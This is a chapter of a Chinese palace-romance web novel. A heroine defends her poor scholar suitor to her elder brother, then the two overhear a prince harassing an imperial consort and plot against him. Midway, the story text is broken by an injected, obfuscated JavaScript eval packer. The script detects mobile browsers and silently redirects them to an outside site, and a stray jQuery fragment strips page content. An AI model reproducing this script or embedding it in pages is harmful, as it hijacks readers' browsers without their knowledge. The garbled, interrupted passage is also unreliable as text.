27. 第 27 章
作品:《妙音》 “二妹妹为何相中此人?”褚妙音也不忌讳,只将事情一五一十地说了,最后道:“我以为江公子能够抵抗住药性,从头到尾恪守君子礼节,实在不是寻常郎君可比,所以十分欣赏。”
褚明珏听完,一时竟然无从反驳,可他清楚地注意到了褚妙音所言:“你说他认得你的身份?”
褚妙音点点头:“先前在西郊时,约莫是凑巧撞见过,虽然我不曾注意,但他的确是知道我的身份的。”
仿佛终于寻到了此人的破绽,褚明珏长舒一口气,笃定地道:“此人只不过是个家世寒微的穷书生,他虽是偶然中药,可既然知晓你的身份,自然不敢对你妄加冒犯。”
褚明珏的声音冷了下去:“若是他当真做出来什么,这条性命此刻便已经没了。”
“二妹妹难道真的以为他只是品性高洁?沽名钓誉之人多如过江之鲫,他必定是知道你的身份,才存心攀附,你不该轻易着了此人的道。”
褚妙音听着褚明珏的分析,脸色一时难以言喻。
她可以肯定,江琢并非是褚明珏想象的那种人,那样清澈的眼神,怎么可能是恶人呢?
何况,再恶也恶不过她。
褚妙音极有自知之明,她越发觉得江琢是她未来郎君的不二人选,若是选择嫁给哪家高门公子,只会在婆家受气罢了。
以她的脾气是绝无可能忍受婆家对她颐指气使的,一旦高嫁,等着她的就是数不清的内宅磋磨。
何况她还是个冒牌货,倘若身份暴露,必定处境更加糟糕。
可若是寒门子弟便不同了,她至少不必担心受婆家的气。
褚明珏说的那些缺点,恰恰是她再需要不过的。
想到此处,褚妙音只道:“兄长实在多想了,江公子不是恶人,更不会有那般的心机。”
褚明珏一时气闷,他从未想过一向最拎得清的二妹妹,竟然也有如此为情所迷的时刻。
那人究竟有什么好?叫她如此偏爱。
褚明珏道:“你可知晓,你身上的首饰衣裳,样样都价格不菲,若是下嫁此人,你将来便要和他一道过苦日子,你当真愿意?”
他想二妹妹只是一时糊涂,年少无知罢了,待她想明白其中的利害关系,自然不会再执着于此人。
褚妙音摇头,道:“我自然愿意,兄长,我本就是过惯了那样的日子的,何况江公子也未必会一辈子清贫,他如今不是尚且年轻吗?如今已然高中探花,将来想必前程无限。”
区区探花而已,褚明珏心中轻嗤,不知道二妹妹究竟看中了此人什么地方。
他劝不动褚妙音,便决定暂且记下此人。
只不过是凭借花言巧语哄骗了他的妹妹,二妹妹年少无知,一时兴起而已,这等浅薄的感情必然不会长久。
他们闲谈着一路走到了宫中的后花园,假山掩映处,有一个不大不小的山洞。
外间风大,褚妙音便与褚明珏行至了假山洞口。
天色已经逐渐暗下来,他们正要回去,外间忽然传来一道熟悉的声音,裴照拦住了一位路过宫道的女子,口中亲热呼唤:“沈娘娘,为何与儿臣如此生分?实在令儿臣伤心。”
娘娘?
褚妙音忍不住往外探了半只眼睛出去看,只见裴照面前的女子脚步一顿,被迫停了下来。
裴照唤她娘娘,难道她是是宫中的妃嫔吗?
褚明珏眼神示意她不要出声,褚妙音便也安静下来,难得有这样听八卦的时刻,她自然想要多待一会。
沈婕妤实在不想应付裴照,她是两个月前新入宫的妃嫔,近来很得圣宠,原本以为入宫不算是太坏的出路,可她却莫名地被裴照缠上了。
也是最近,她才知晓裴照此人的恶名。非但风流成性,甚至连他父皇宫中的妃嫔都不放过,虽然不曾真的得逞,可单是这等丑事便已令一众妃嫔们敢怒不敢言了。
若是这等事情捅了出去,被指着鼻子骂的,定然只会是后妃们。
运道不好的,没准还会连累家人。
沈婕妤的父亲也并不是什么大官,她在宫里谨小慎微,只为分得一丝帝位宠爱,能借此帮衬着家族而已。
可却被裴照盯上,她连性命都难以保全了。
每日只好费尽心思与裴照周旋,沈婕妤亦是身心俱疲,她冷着语气道:“五殿下,请自重。臣妾是陛下的妃子。”
裴照却是毫不避讳,他伸手便去抓沈婕妤的手,面上笑道:“娘娘何必如此端着呢?这里只有你我两人,谁也不会知晓……”
黑暗中,褚妙音终于听明白了,原来裴照竟然胆大包天到敢于碰他父亲的妃子,原来那天她随口骂裴照的话,竟然不幸言中了。
裴照这等祸害,竟然还活在这世上。
见沈婕妤严词拒绝,裴照仍然贼心不死,与沈婕妤拉拉扯扯一番,说了好些腻歪的情话。
褚妙音与褚明珏被迫躲在假山后听墙角,显然褚明珏是不愿参与这等事的,想要先行一步,然而褚妙音却拉着他,非要听完这一场墙角不可。
褚明珏只好由着她。
然而空间狭小,他们两个贴在一处,褚明珏又一次闻到她身上令人心浮气躁的香气,还有她发髻间的珠钗。
也是直到此刻,褚明珏才发觉她少了一根发簪。
寻常之时,褚妙音是不会轻易丢三落四的,她对自己的东西一向都记性很好,从不会轻易丢了这样的东西,遗人话柄。
今日赴宴,褚妙音只在中途离席,去见了那个江琢,她竟然将发簪也给了此人吗?
褚明珏越发认定此人心术不正,只想着哄骗他的妹妹。
他要替二妹妹把发簪要回来。
就在此刻,一只黑猫忽然在黑暗中长啸一声,扑到了假山边。
裴照十分警觉,立即道:“谁在哪里?!”
褚妙音心头一紧,该不会这么倒霉被发现了吧?
那只猫忽然蹿到了她的裙边,褚妙音一直怕猫,此刻寒毛倒竖,差点要出声呼救了,褚明珏眼疾手快地拿手捂住了她的唇,褚妙音这才没有发出声音。
那猫蹿了出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239868|197676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,裴照意识到竟然只是一只猫,自己却大惊小怪,一时脸上挂不住。
而沈婕妤却已找准时机快步离开了。
裴照讨了个没脸,也不再待下去。
两人走后,褚明珏终于放开了挡在褚妙音唇上的手,那种潮湿温热的触感令褚明珏也很不自在。
好在只是片刻的接触。
褚妙音仍然记着沈婕妤的事,有心打听更多,便问褚明珏:“兄长可认得这位妃嫔?”
褚明珏睨她一眼,道:“不认得,只是这样的事也并非头一回了。”
他没有多管闲事的癖好,对于这些皇家的腌臜事,更是不愿掺和,徒惹一身麻烦。
褚明珏猜出褚妙音的意图:“你想要帮她?”
褚妙音并不是大发善心地想要帮沈婕妤,只是她觉得这是一个可以利用的好机会。
裴照对她纠缠不休,只不过仗着皇子身份有恃无恐而已,听闻明帝对这个儿子也还算宠爱,才会对他这么多年的胡作非为都装做看不见。
可再宠爱这个儿子,也不可能大方到愿意将妃子也拱手相让吧?
裴照当真愚不可及,竟然做出来这样蠢的事。
以为自己能够永远高枕无忧吗?
褚妙音心底冷笑,可惜碰上了她,她绝不会让裴照好过。
不过,凭她一人只怕难以成事,褚妙音便看向褚明珏:“兄长,若是我们能……”
她附到褚明珏耳边,说了几句话。
褚明珏第一反应却是耳廓一红,靠得太近了,连呼吸都忍不住屏住,褚明珏浑身绷紧,直到褚妙音退开,才勉强松弛下来。
褚妙音笑道:“兄长以为如何?”
褚明珏点了头。
这便是默认了!
褚妙音心中安定下来,有褚明珏相助,她这次必定能让裴照栽个大跟头。
想起来什么,褚明珏问她:“先前五皇子也对你纠缠过?为何不告诉我。”
褚妙音才想起来这一遭事,此刻只道:“我……我不想给兄长添麻烦。”
褚明珏看着她,忍不住想,自己当初真的做错了,说出的那些话,只是无心之语,可二妹妹一直记在心里。
他只好抿唇道:“我岂会怕这些?二妹妹,你的事于我而言,从来不是麻烦。”
这样好的月色下,饶是冷情如褚妙音,也不免为这话动容一瞬。
她自进侯府以来,便步步为营,做的每一件事,都是机关算尽。
她不信人与人之间那点虚假的情意,就算如同她父亲一样,当初那么爱妻如命,不也转眼便另娶续弦。
将她和她母亲忘了个彻底。
她总是觉得,世间事唯有利益才可以长久,至于感情,是无法算计的东西,不知道何时就会变质。
她不愿轻易交付出自己的信任。
然而在这样的时刻,褚妙音偶尔也会想,倘若她真的是褚兰衣就好了,也许她可以真的当褚明珏一辈子的妹妹。
算来算去,还是只当兄长的妹妹更简单。

